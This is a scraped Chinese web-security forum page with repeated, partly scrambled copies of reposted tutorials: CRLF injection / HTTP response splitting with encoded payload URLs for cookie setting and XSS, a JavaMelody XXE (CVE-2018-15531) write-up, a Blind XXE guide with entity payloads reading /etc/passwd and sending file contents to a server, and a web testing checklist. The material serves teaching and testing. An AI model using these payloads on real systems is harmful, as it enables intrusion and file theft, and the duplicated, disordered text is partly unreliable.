CRLF是”回车 + 换行”（\r\n）的简称。在HTTP协议中，HTTP Header与HTTP Body是用两个CRLF分隔的，浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以，一旦我们能够控制HTTP 消息头中的字符，注入一些恶意的换行，这样我们就能注入一些会话Cookie或者HTML代码，所以CRLF Injection又叫HTTP Response Splitting，简称HRS。
HRS是比XSS危害更大的安全问题，具体是为什么，我们往下看。
对于HRS最简单的利用方式是注入两个\r\n，之后在写入XSS代码，来构造一个xss。
2 举例说明
举个例子，一般网站会在HTTP头中用Location: http://baidu.com这种方式来进行302跳转，所以我们能控制的内容就是Location:后面的XXX某个网址。
所以一个正常的302跳转包是这样：HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: [url]http://www.xxx.com.cn[/url]
但如果我们输入的是
http://www.sina.com.cn%0aSet-cookie:JSPSESSID%3Dwooyun
注入了一个换行，此时的返回包就会变成这样：
HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: http://www.sina.com.cn
Set-cookie: JSPSESSID=wooyun
这个时候这样我们就给访问者设置了一个SESSION，造成一个“会话固定漏洞”。
当然，HRS并不仅限于会话固定，通过注入两个CRLF就能造成一个无视浏览器Filter的反射型XSS。
比如一个网站接受url参数http://test.sina.com.cn/?url=xxx，xxx放在Location后面作为一个跳转。如果我们输入的是：
http://test.sina.com.cn/?url=%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>
我们的返回包就会变成这样：
HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location:
<img src=1 onerror=alert(/xss/)>
之前说了浏览器会根据第一个CRLF把HTTP包分成头和体，然后将体显示出来。于是我们这里<img>这个标签就会显示出来，造成一个XSS。
为什么说是无视浏览器filter的，这里涉及到另一个问题。
浏览器的Filter是浏览器应对一些反射型XSS做的保护策略，当url中含有XSS相关特征的时候就会过滤掉不显示在页面中，所以不能触发XSS。
怎样才能关掉filter？一般来说用户这边是不行的，只有数据包中http头含有X-XSS-Protection并且值为0的时候，浏览器才不会开启filter。
说到这里应该就很清楚了，HRS不正是注入HTTP头的一个漏洞吗，我们可以将X-XSS-Protection:0注入到数据包中，再用两个CRLF来注入XSS代码，这样就成功地绕过了浏览器filter，并且执行我们的反射型XSS。
所以说HRS的危害大于XSS，因为它能绕过一般XSS所绕不过的filter，并能产生会话固定漏洞。
我们来一个真实案例吧。
某分站含有一个url跳转漏洞，危害并不大，于是我就想到了CRLF Injection，当我测试
http://xxx.aa.com.cn/?url=%0a%0d%0a%0d%3Cimg%20src=1%3E
的时候，发现图片已经输出在页面中了，说明CRLF注入成功了：
查看全部
1 什么是CRLF注入
CRLF是”回车 + 换行”（\r\n）的简称。在HTTP协议中，HTTP Header与HTTP Body是用两个CRLF分隔的，浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以，一旦我们能够控制HTTP 消息头中的字符，注入一些恶意的换行，这样我们就能注入一些会话Cookie或者HTML代码，所以CRLF Injection又叫HTTP Response Splitting，简称HRS。
HRS是比XSS危害更大的安全问题，具体是为什么，我们往下看。
对于HRS最简单的利用方式是注入两个\r\n，之后在写入XSS代码，来构造一个xss。
2 举例说明
举个例子，一般网站会在HTTP头中用Location: http://baidu.com这种方式来进行302跳转，所以我们能控制的内容就是Location:后面的XXX某个网址。
所以一个正常的302跳转包是这样：HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: [url]http://www.xxx.com.cn[/url]
但如果我们输入的是
http://www.sina.com.cn%0aSet-cookie:JSPSESSID%3Dwooyun
注入了一个换行，此时的返回包就会变成这样：
HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: http://www.sina.com.cn
Set-cookie: JSPSESSID=wooyun
这个时候这样我们就给访问者设置了一个SESSION，造成一个“会话固定漏洞”。
当然，HRS并不仅限于会话固定，通过注入两个CRLF就能造成一个无视浏览器Filter的反射型XSS。
比如一个网站接受url参数http://test.sina.com.cn/?url=xxx，xxx放在Location后面作为一个跳转。如果我们输入的是：
http://test.sina.com.cn/?url=%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>
我们的返回包就会变成这样：
HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location:
<img src=1 onerror=alert(/xss/)>
之前说了浏览器会根据第一个CRLF把HTTP包分成头和体，然后将体显示出来。于是我们这里<img>这个标签就会显示出来，造成一个XSS。
为什么说是无视浏览器filter的，这里涉及到另一个问题。
浏览器的Filter是浏览器应对一些反射型XSS做的保护策略，当url中含有XSS相关特征的时候就会过滤掉不显示在页面中，所以不能触发XSS。
怎样才能关掉filter？一般来说用户这边是不行的，只有数据包中http头含有X-XSS-Protection并且值为0的时候，浏览器才不会开启filter。
说到这里应该就很清楚了，HRS不正是注入HTTP头的一个漏洞吗，我们可以将X-XSS-Protection:0注入到数据包中，再用两个CRLF来注入XSS代码，这样就成功地绕过了浏览器filter，并且执行我们的反射型XSS。
所以说HRS的危害大于XSS，因为它能绕过一般XSS所绕不过的filter，并能产生会话固定漏洞。
我们来一个真实案例吧。
某分站含有一个url跳转漏洞，危害并不大，于是我就想到了CRLF Injection，当我测试
http://xxx.aa.com.cn/?url=%0a%0d%0a%0d%3Cimg%20src=1%3E
的时候，发现图片已经输出在页面中了，说明CRLF注入成功了：
查看全部
CRLF Injection很少遇见，这次被我逮住了。我看zone中（http://zone.wooyun.org/content/13323）还有一些同学对于这个漏洞不甚了解，甚至分不清它与CSRF，我详细说一下吧。
1 什么是CRLF注入
CRLF是”回车 + 换行”（\r\n）的简称。在HTTP协议中，HTTP Header与HTTP Body是用两个CRLF分隔的，浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以，一旦我们能够控制HTTP 消息头中的字符，注入一些恶意的换行，这样我们就能注入一些会话Cookie或者HTML代码，所以CRLF Injection又叫HTTP Response Splitting，简称HRS。
HRS是比XSS危害更大的安全问题，具体是为什么，我们往下看。
对于HRS最简单的利用方式是注入两个\r\n，之后在写入XSS代码，来构造一个xss。
2 举例说明
举个例子，一般网站会在HTTP头中用
所以一个正常的302跳转包是这样：
但如果我们输入的是
注入了一个换行，此时的返回包就会变成这样：
这个时候这样我们就给访问者设置了一个SESSION，造成一个“会话固定漏洞”。
当然，HRS并不仅限于会话固定，通过注入两个CRLF就能造成一个无视浏览器Filter的反射型XSS。
比如一个网站接受url参数http://test.sina.com.cn/?url=xxx，xxx放在Location后面作为一个跳转。如果我们输入的是：
我们的返回包就会变成这样：
之前说了浏览器会根据第一个CRLF把HTTP包分成头和体，然后将体显示出来。于是我们这里<img>这个标签就会显示出来，造成一个XSS。
为什么说是无视浏览器filter的，这里涉及到另一个问题。
浏览器的Filter是浏览器应对一些反射型XSS做的保护策略，当url中含有XSS相关特征的时候就会过滤掉不显示在页面中，所以不能触发XSS。
怎样才能关掉filter？一般来说用户这边是不行的，只有数据包中http头含有X-XSS-Protection并且值为0的时候，浏览器才不会开启filter。
说到这里应该就很清楚了，HRS不正是注入HTTP头的一个漏洞吗，我们可以将X-XSS-Protection:0注入到数据包中，再用两个CRLF来注入XSS代码，这样就成功地绕过了浏览器filter，并且执行我们的反射型XSS。
所以说HRS的危害大于XSS，因为它能绕过一般XSS所绕不过的filter，并能产生会话固定漏洞。
我们来一个真实案例吧。
某分站含有一个url跳转漏洞，危害并不大，于是我就想到了CRLF Injection，当我测试
的时候，发现图片已经输出在页面中了，说明CRLF注入成功了：
1 什么是CRLF注入
CRLF是”回车 + 换行”（\r\n）的简称。在HTTP协议中，HTTP Header与HTTP Body是用两个CRLF分隔的，浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以，一旦我们能够控制HTTP 消息头中的字符，注入一些恶意的换行，这样我们就能注入一些会话Cookie或者HTML代码，所以CRLF Injection又叫HTTP Response Splitting，简称HRS。
HRS是比XSS危害更大的安全问题，具体是为什么，我们往下看。
对于HRS最简单的利用方式是注入两个\r\n，之后在写入XSS代码，来构造一个xss。
2 举例说明
举个例子，一般网站会在HTTP头中用
Location:http://baidu.com这种方式来进行302跳转，所以我们能控制的内容就是Location:后面的XXX某个网址。
所以一个正常的302跳转包是这样：
HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: [url]http://www.xxx.com.cn[/url]
但如果我们输入的是
http://www.sina.com.cn%0aSet-cookie:JSPSESSID%3Dwooyun
注入了一个换行，此时的返回包就会变成这样：
HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: http://www.sina.com.cn
Set-cookie: JSPSESSID=wooyun
这个时候这样我们就给访问者设置了一个SESSION，造成一个“会话固定漏洞”。
当然，HRS并不仅限于会话固定，通过注入两个CRLF就能造成一个无视浏览器Filter的反射型XSS。
比如一个网站接受url参数http://test.sina.com.cn/?url=xxx，xxx放在Location后面作为一个跳转。如果我们输入的是：
http://test.sina.com.cn/?url=%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>
我们的返回包就会变成这样：
HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location:
<img src=1 onerror=alert(/xss/)>
之前说了浏览器会根据第一个CRLF把HTTP包分成头和体，然后将体显示出来。于是我们这里<img>这个标签就会显示出来，造成一个XSS。
为什么说是无视浏览器filter的，这里涉及到另一个问题。
浏览器的Filter是浏览器应对一些反射型XSS做的保护策略，当url中含有XSS相关特征的时候就会过滤掉不显示在页面中，所以不能触发XSS。
怎样才能关掉filter？一般来说用户这边是不行的，只有数据包中http头含有X-XSS-Protection并且值为0的时候，浏览器才不会开启filter。
说到这里应该就很清楚了，HRS不正是注入HTTP头的一个漏洞吗，我们可以将X-XSS-Protection:0注入到数据包中，再用两个CRLF来注入XSS代码，这样就成功地绕过了浏览器filter，并且执行我们的反射型XSS。
所以说HRS的危害大于XSS，因为它能绕过一般XSS所绕不过的filter，并能产生会话固定漏洞。
我们来一个真实案例吧。
某分站含有一个url跳转漏洞，危害并不大，于是我就想到了CRLF Injection，当我测试
http://xxx.aa.com.cn/?url=%0a%0d%0a%0d%3Cimg%20src=1%3E
的时候，发现图片已经输出在页面中了，说明CRLF注入成功了：
JavaMelody组件XXE漏洞解析
ttgo2 发表了文章 • 0 个评论 • 102 次浏览 • 2018-10-14 18:29
文章转载：https://mp.weixin.qq.com/s/Tca3GGPCIc7FZaubUTh18Q
0x00 概述
JavaMelody是一个用来对Java应用进行监控的组件。通过该组件，用户可以对内存、CPU、用户session甚至SQL请求等进行监控，并且该组件提供了一个可视化界面给用户使用。
最近，该组件被爆出一个XXE漏洞——CVE-2018-15531，由于该组件的启动特性，攻击者无需特定的权限即可发起攻击。
0x01 漏洞复现
我们使用SpringBoot web来搭建基础项目，然后将JavaMelody集成进来，在maven中配置如下：
访问http://127.0.0.1/monitoring出现如下页面表示环境搭建成功
由于这里是没有回显的，因此可以使用Blind XXE来读取文件进行攻击：
DTD文件构造如下：
在JavaMelody的默认配置下，直接发包就可以触发该漏洞。
需要注意的是，构造回显通道时，如果是低版本的jdk，可以直接使用gopher协议回传。如果是高版本jdk，则不支持gopher协议，那么可以使用FTP回显技巧来读取多行文件。
0x02 漏洞细节
我们先来看一下官方的补丁代码：
https://github.com/javamelody/javamelody/commit/ef111822562d0b9365bd3e671a75b65bd0613353
可以看到，官方在net/bull/javamelody/PayloadNameRequestWrapper.java中新增了对XMLInputFactory配置的代码，禁用了外部实体解析和dtd实体解析。因此，很容易判断出这里是一个XXE漏洞。
为什么这个漏洞随意发包即可触发漏洞呢？这和JavaMelody启动过程有关。在触发该漏洞后，我们在PayloadNameRequestWrapper中下断点：
通过调用历史信息可以发现，请求进入了一个MonitoringFilter拦截器中。
Springboot中肯定是没有配置这个filter的，查看jar包发现，该拦截器是通过web-fragment.xml进行的配置：
在配置项中我们可以发现这个filter默认是处理所有请求：
因此，外部请求会进入MonitoringFilter的doFilter方法，之后调用了createRequestWrapper方法：
然后来到了PayloadNameRequestWrapper-> initialize方法中
在处理soap相关的content-type时，只关注application/soap+xml,text/xml。如果发现content-type类型满足if条件，则调用parseSoapMethodName方法执行解析，继续跟进该方法：
0x03 漏洞修复
该漏洞修复比较简单，直接更新JavaMelody至1.74.0即可，或者自己写拦截器来处理恶意请求。
当然，值得注意的是，如果泄漏了/monitoring路由，其实本身就是一个很严重的信息泄露漏洞。因为JavaMelody提供了非常丰富的功能，比如执行gc，杀掉线程，查看SQL请求，查看系统信息、进程，查看数据库schema信息等。
查看全部
0x00 概述
JavaMelody是一个用来对Java应用进行监控的组件。通过该组件，用户可以对内存、CPU、用户session甚至SQL请求等进行监控，并且该组件提供了一个可视化界面给用户使用。
最近，该组件被爆出一个XXE漏洞——CVE-2018-15531，由于该组件的启动特性，攻击者无需特定的权限即可发起攻击。
0x01 漏洞复现
我们使用SpringBoot web来搭建基础项目，然后将JavaMelody集成进来，在maven中配置如下：
访问http://127.0.0.1/monitoring出现如下页面表示环境搭建成功
由于这里是没有回显的，因此可以使用Blind XXE来读取文件进行攻击：
DTD文件构造如下：
在JavaMelody的默认配置下，直接发包就可以触发该漏洞。
需要注意的是，构造回显通道时，如果是低版本的jdk，可以直接使用gopher协议回传。如果是高版本jdk，则不支持gopher协议，那么可以使用FTP回显技巧来读取多行文件。
0x02 漏洞细节
我们先来看一下官方的补丁代码：
https://github.com/javamelody/javamelody/commit/ef111822562d0b9365bd3e671a75b65bd0613353
可以看到，官方在net/bull/javamelody/PayloadNameRequestWrapper.java中新增了对XMLInputFactory配置的代码，禁用了外部实体解析和dtd实体解析。因此，很容易判断出这里是一个XXE漏洞。
为什么这个漏洞随意发包即可触发漏洞呢？这和JavaMelody启动过程有关。在触发该漏洞后，我们在PayloadNameRequestWrapper中下断点：
通过调用历史信息可以发现，请求进入了一个MonitoringFilter拦截器中。
Springboot中肯定是没有配置这个filter的，查看jar包发现，该拦截器是通过web-fragment.xml进行的配置：
在配置项中我们可以发现这个filter默认是处理所有请求：
因此，外部请求会进入MonitoringFilter的doFilter方法，之后调用了createRequestWrapper方法：
然后来到了PayloadNameRequestWrapper-> initialize方法中
在处理soap相关的content-type时，只关注application/soap+xml,text/xml。如果发现content-type类型满足if条件，则调用parseSoapMethodName方法执行解析，继续跟进该方法：
0x03 漏洞修复
该漏洞修复比较简单，直接更新JavaMelody至1.74.0即可，或者自己写拦截器来处理恶意请求。
当然，值得注意的是，如果泄漏了/monitoring路由，其实本身就是一个很严重的信息泄露漏洞。因为JavaMelody提供了非常丰富的功能，比如执行gc，杀掉线程，查看SQL请求，查看系统信息、进程，查看数据库schema信息等。
查看全部
文章转载：https://mp.weixin.qq.com/s/Tca3GGPCIc7FZaubUTh18Q
0x00 概述
JavaMelody是一个用来对Java应用进行监控的组件。通过该组件，用户可以对内存、CPU、用户session甚至SQL请求等进行监控，并且该组件提供了一个可视化界面给用户使用。
最近，该组件被爆出一个XXE漏洞——CVE-2018-15531，由于该组件的启动特性，攻击者无需特定的权限即可发起攻击。
0x01 漏洞复现
我们使用SpringBoot web来搭建基础项目，然后将JavaMelody集成进来，在maven中配置如下：
访问http://127.0.0.1/monitoring出现如下页面表示环境搭建成功
由于这里是没有回显的，因此可以使用Blind XXE来读取文件进行攻击：
DTD文件构造如下：
在JavaMelody的默认配置下，直接发包就可以触发该漏洞。
需要注意的是，构造回显通道时，如果是低版本的jdk，可以直接使用gopher协议回传。如果是高版本jdk，则不支持gopher协议，那么可以使用FTP回显技巧来读取多行文件。
0x02 漏洞细节
我们先来看一下官方的补丁代码：
https://github.com/javamelody/javamelody/commit/ef111822562d0b9365bd3e671a75b65bd0613353
可以看到，官方在net/bull/javamelody/PayloadNameRequestWrapper.java中新增了对XMLInputFactory配置的代码，禁用了外部实体解析和dtd实体解析。因此，很容易判断出这里是一个XXE漏洞。
为什么这个漏洞随意发包即可触发漏洞呢？这和JavaMelody启动过程有关。在触发该漏洞后，我们在PayloadNameRequestWrapper中下断点：
通过调用历史信息可以发现，请求进入了一个MonitoringFilter拦截器中。
Springboot中肯定是没有配置这个filter的，查看jar包发现，该拦截器是通过web-fragment.xml进行的配置：
在配置项中我们可以发现这个filter默认是处理所有请求：
因此，外部请求会进入MonitoringFilter的doFilter方法，之后调用了createRequestWrapper方法：
然后来到了PayloadNameRequestWrapper-> initialize方法中
在处理soap相关的content-type时，只关注application/soap+xml,text/xml。如果发现content-type类型满足if条件，则调用parseSoapMethodName方法执行解析，继续跟进该方法：
0x03 漏洞修复
该漏洞修复比较简单，直接更新JavaMelody至1.74.0即可，或者自己写拦截器来处理恶意请求。
当然，值得注意的是，如果泄漏了/monitoring路由，其实本身就是一个很严重的信息泄露漏洞。因为JavaMelody提供了非常丰富的功能，比如执行gc，杀掉线程，查看SQL请求，查看系统信息、进程，查看数据库schema信息等。
0x00 概述
JavaMelody是一个用来对Java应用进行监控的组件。通过该组件，用户可以对内存、CPU、用户session甚至SQL请求等进行监控，并且该组件提供了一个可视化界面给用户使用。
最近，该组件被爆出一个XXE漏洞——CVE-2018-15531，由于该组件的启动特性，攻击者无需特定的权限即可发起攻击。
0x01 漏洞复现
我们使用SpringBoot web来搭建基础项目，然后将JavaMelody集成进来，在maven中配置如下：
访问http://127.0.0.1/monitoring出现如下页面表示环境搭建成功
由于这里是没有回显的，因此可以使用Blind XXE来读取文件进行攻击：
DTD文件构造如下：
在JavaMelody的默认配置下，直接发包就可以触发该漏洞。
需要注意的是，构造回显通道时，如果是低版本的jdk，可以直接使用gopher协议回传。如果是高版本jdk，则不支持gopher协议，那么可以使用FTP回显技巧来读取多行文件。
0x02 漏洞细节
我们先来看一下官方的补丁代码：
https://github.com/javamelody/javamelody/commit/ef111822562d0b9365bd3e671a75b65bd0613353
可以看到，官方在net/bull/javamelody/PayloadNameRequestWrapper.java中新增了对XMLInputFactory配置的代码，禁用了外部实体解析和dtd实体解析。因此，很容易判断出这里是一个XXE漏洞。
为什么这个漏洞随意发包即可触发漏洞呢？这和JavaMelody启动过程有关。在触发该漏洞后，我们在PayloadNameRequestWrapper中下断点：
通过调用历史信息可以发现，请求进入了一个MonitoringFilter拦截器中。
Springboot中肯定是没有配置这个filter的，查看jar包发现，该拦截器是通过web-fragment.xml进行的配置：
在配置项中我们可以发现这个filter默认是处理所有请求：
因此，外部请求会进入MonitoringFilter的doFilter方法，之后调用了createRequestWrapper方法：
然后来到了PayloadNameRequestWrapper-> initialize方法中
在处理soap相关的content-type时，只关注application/soap+xml,text/xml。如果发现content-type类型满足if条件，则调用parseSoapMethodName方法执行解析，继续跟进该方法：
0x03 漏洞修复
该漏洞修复比较简单，直接更新JavaMelody至1.74.0即可，或者自己写拦截器来处理恶意请求。
当然，值得注意的是，如果泄漏了/monitoring路由，其实本身就是一个很严重的信息泄露漏洞。因为JavaMelody提供了非常丰富的功能，比如执行gc，杀掉线程，查看SQL请求，查看系统信息、进程，查看数据库schema信息等。
Blind XXE总结
ttgo2 发表了文章 • 0 个评论 • 118 次浏览 • 2018-10-14 18:14
文章转载：http://blog.csdn.net/u011721501
XXE漏洞是针对使用XML交互的Web应用程序的攻击方法，在XEE漏洞的基础上，发展出了Blind XXE漏洞。目前来看，XML文件作为配置文件（Spring、Struts2等）、文档结构说明文件（PDF、RSS等）、图片格式文件（SVG header）应用比较广泛，此外，网上有一些在线XML格式化工具也存在过问题，如开源中国的在线XML格式化工具XXE漏洞：
1、Blind XXE用途
对于传统的XXE来说，要求有一点，就是攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件。例如：
提交请求：
<!ENTITY file SYSTEM “file:///etc/passwd”>
<username>&file;</username>服务器在这个节点中返回etc/passwd的文件内容
<username>root:1:3.......</username>2、参数实体和内部参数实体
Blink XXE主要使用了DTD约束中的参数实体和内部实体。
参数实体是一种只能在DTD中定义和使用的实体，一般引用时使用%作为前缀。而内部实体是指在一个实体中定义的另一个实体，也就是嵌套定义。
如
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "<!ENTITY internal 'http://www.baidu.com'>">
%param1;
]>
<root>
[This is my site] &internal;
</root>
但是在我研究过程中，发现内部实体的这支持与否也是取决于解释器的。
这也是比较蛋疼的特性，因为php，java，C#等语言的内置XML解析器都是有一定差别的，也就给漏洞利用带来不便
3、Blind XXE原理
带外数据通道的建立是使用嵌套形式，利用外部实体中的URL发出访问，从而跟攻击者的服务器发生联系。
直接在内部实体定义中引用另一个实体的方法如下，但是这种方法行不通。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "file:///c:/1.txt">
<!ENTITY % param2 "http://127.0.0.1/?%param1">
%param2;
]>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "file:///c:/1.txt">
<!ENTITY % param2 "<!ENTITY % param222 SYSTEM'http://127.0.0.1/?%param1;'>">
%param2;
]>
<root>
[This is my site]
</root>
！但是这样做行不通，原因是不能在实体定义中引用参数实体，即有些解释器不允许在内层实体中使用外部连接，无论内层是一般实体还是参数实体。
解决方案是：
将嵌套的实体声明放入到一个外部文件中，这里一般是放在攻击者的服务器上，这样做可以规避错误。
查看全部
XXE漏洞是针对使用XML交互的Web应用程序的攻击方法，在XEE漏洞的基础上，发展出了Blind XXE漏洞。目前来看，XML文件作为配置文件（Spring、Struts2等）、文档结构说明文件（PDF、RSS等）、图片格式文件（SVG header）应用比较广泛，此外，网上有一些在线XML格式化工具也存在过问题，如开源中国的在线XML格式化工具XXE漏洞：
1、Blind XXE用途
对于传统的XXE来说，要求有一点，就是攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件。例如：
提交请求：
<!ENTITY file SYSTEM “file:///etc/passwd”>
<username>&file;</username>服务器在这个节点中返回etc/passwd的文件内容
<username>root:1:3.......</username>2、参数实体和内部参数实体
Blink XXE主要使用了DTD约束中的参数实体和内部实体。
参数实体是一种只能在DTD中定义和使用的实体，一般引用时使用%作为前缀。而内部实体是指在一个实体中定义的另一个实体，也就是嵌套定义。
如
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "<!ENTITY internal 'http://www.baidu.com'>">
%param1;
]>
<root>
[This is my site] &internal;
</root>
但是在我研究过程中，发现内部实体的这支持与否也是取决于解释器的。
这也是比较蛋疼的特性，因为php，java，C#等语言的内置XML解析器都是有一定差别的，也就给漏洞利用带来不便
3、Blind XXE原理
带外数据通道的建立是使用嵌套形式，利用外部实体中的URL发出访问，从而跟攻击者的服务器发生联系。
直接在内部实体定义中引用另一个实体的方法如下，但是这种方法行不通。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "file:///c:/1.txt">
<!ENTITY % param2 "http://127.0.0.1/?%param1">
%param2;
]>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "file:///c:/1.txt">
<!ENTITY % param2 "<!ENTITY % param222 SYSTEM'http://127.0.0.1/?%param1;'>">
%param2;
]>
<root>
[This is my site]
</root>
！但是这样做行不通，原因是不能在实体定义中引用参数实体，即有些解释器不允许在内层实体中使用外部连接，无论内层是一般实体还是参数实体。
解决方案是：
将嵌套的实体声明放入到一个外部文件中，这里一般是放在攻击者的服务器上，这样做可以规避错误。
查看全部
文章转载：http://blog.csdn.net/u011721501
XXE漏洞是针对使用XML交互的Web应用程序的攻击方法，在XEE漏洞的基础上，发展出了Blind XXE漏洞。目前来看，XML文件作为配置文件（Spring、Struts2等）、文档结构说明文件（PDF、RSS等）、图片格式文件（SVG header）应用比较广泛，此外，网上有一些在线XML格式化工具也存在过问题，如开源中国的在线XML格式化工具XXE漏洞：
1、Blind XXE用途
对于传统的XXE来说，要求有一点，就是攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件。例如：
提交请求：
Blink XXE主要使用了DTD约束中的参数实体和内部实体。
参数实体是一种只能在DTD中定义和使用的实体，一般引用时使用%作为前缀。而内部实体是指在一个实体中定义的另一个实体，也就是嵌套定义。
如
这也是比较蛋疼的特性，因为php，java，C#等语言的内置XML解析器都是有一定差别的，也就给漏洞利用带来不便
3、Blind XXE原理
带外数据通道的建立是使用嵌套形式，利用外部实体中的URL发出访问，从而跟攻击者的服务器发生联系。
直接在内部实体定义中引用另一个实体的方法如下，但是这种方法行不通。
解决方案是：
将嵌套的实体声明放入到一个外部文件中，这里一般是放在攻击者的服务器上，这样做可以规避错误。
XXE漏洞是针对使用XML交互的Web应用程序的攻击方法，在XEE漏洞的基础上，发展出了Blind XXE漏洞。目前来看，XML文件作为配置文件（Spring、Struts2等）、文档结构说明文件（PDF、RSS等）、图片格式文件（SVG header）应用比较广泛，此外，网上有一些在线XML格式化工具也存在过问题，如开源中国的在线XML格式化工具XXE漏洞：
1、Blind XXE用途
对于传统的XXE来说，要求有一点，就是攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件。例如：
提交请求：
服务器在这个节点中返回etc/passwd的文件内容
<!ENTITY file SYSTEM “file:///etc/passwd”>
<username>&file;</username>
<username>root:1:3.......</username>2、参数实体和内部参数实体
Blink XXE主要使用了DTD约束中的参数实体和内部实体。
参数实体是一种只能在DTD中定义和使用的实体，一般引用时使用%作为前缀。而内部实体是指在一个实体中定义的另一个实体，也就是嵌套定义。
如
<?xml version="1.0" encoding="UTF-8"?>但是在我研究过程中，发现内部实体的这支持与否也是取决于解释器的。
<!DOCTYPE root [
<!ENTITY % param1 "<!ENTITY internal 'http://www.baidu.com'>">
%param1;
]>
<root>
[This is my site] &internal;
</root>
这也是比较蛋疼的特性，因为php，java，C#等语言的内置XML解析器都是有一定差别的，也就给漏洞利用带来不便
3、Blind XXE原理
带外数据通道的建立是使用嵌套形式，利用外部实体中的URL发出访问，从而跟攻击者的服务器发生联系。
直接在内部实体定义中引用另一个实体的方法如下，但是这种方法行不通。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "file:///c:/1.txt">
<!ENTITY % param2 "http://127.0.0.1/?%param1">
%param2;
]>
但是这样做行不通，原因是不能在实体定义中引用参数实体，即有些解释器不允许在内层实体中使用外部连接，无论内层是一般实体还是参数实体。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "file:///c:/1.txt">
<!ENTITY % param2 "<!ENTITY % param222 SYSTEM'http://127.0.0.1/?%param1;'>">
%param2;
]>
<root>
[This is my site]
</root>
！
解决方案是：
将嵌套的实体声明放入到一个外部文件中，这里一般是放在攻击者的服务器上，这样做可以规避错误。
总结Web常见的漏洞测试条目列表
ttgo2 发表了文章 • 0 个评论 • 128 次浏览 • 2018-10-07 12:38
1.1 上传功能绕过文件上传检查功能
上传文件大小和次数限制1.2 注册请求是否安全传输注册时密码复杂度是否后台检验
激活链接测试
重复注册
批量注册问题1.3 登录功能登录请求是否安全传输
会话固定
关键Cookie是否HttpOnly
登录请求错误次数限制
“记住我”功能
本地存储敏感信息
1.4 验证码功能验证码的一次性
验证码绕过
短信验证码轰炸1.5 忘记密码功能通过手机号找回
通过邮箱找回
密码安全性要求
密码复杂度要求
密码保存要求1.6 越权测试请测试所有接口水平越权情况
请测试所有接口垂直越权情况1.7 XSS测试反射型XSS
存储型XSS
DOM型XSS1.8 SQL注入测试SQL注入测试
写接口限制测试
写接口限制测试1.9 CSRF测试
1.10 敏感信息泄露SVN信息泄露
页面泄露敏感信息
目录遍历
CRLF测试
1.11 任意文件读取
1.12 URL重定向测试
1.13 页面点击劫持
1.14 XXE
1.15 SSRF
1.16 CORS问题 查看全部
上传文件大小和次数限制1.2 注册请求是否安全传输注册时密码复杂度是否后台检验
激活链接测试
重复注册
批量注册问题1.3 登录功能登录请求是否安全传输
会话固定
关键Cookie是否HttpOnly
登录请求错误次数限制
“记住我”功能
本地存储敏感信息
1.4 验证码功能验证码的一次性
验证码绕过
短信验证码轰炸1.5 忘记密码功能通过手机号找回
通过邮箱找回
密码安全性要求
密码复杂度要求
密码保存要求1.6 越权测试请测试所有接口水平越权情况
请测试所有接口垂直越权情况1.7 XSS测试反射型XSS
存储型XSS
DOM型XSS1.8 SQL注入测试SQL注入测试
写接口限制测试
写接口限制测试1.9 CSRF测试
1.10 敏感信息泄露SVN信息泄露
页面泄露敏感信息
目录遍历
CRLF测试
1.11 任意文件读取
1.12 URL重定向测试
1.13 页面点击劫持
1.14 XXE
1.15 SSRF
1.16 CORS问题 查看全部
1.1 上传功能
1.4 验证码功能
1.10 敏感信息泄露
1.11 任意文件读取
1.12 URL重定向测试
1.13 页面点击劫持
1.14 XXE
1.15 SSRF
1.16 CORS问题
绕过文件上传检查功能1.2 注册请求是否安全传输
上传文件大小和次数限制
注册时密码复杂度是否后台检验1.3 登录功能
激活链接测试
重复注册
批量注册问题
登录请求是否安全传输
会话固定
关键Cookie是否HttpOnly
登录请求错误次数限制
“记住我”功能
本地存储敏感信息
1.4 验证码功能
验证码的一次性1.5 忘记密码功能
验证码绕过
短信验证码轰炸
通过手机号找回1.6 越权测试
通过邮箱找回
密码安全性要求
密码复杂度要求
密码保存要求
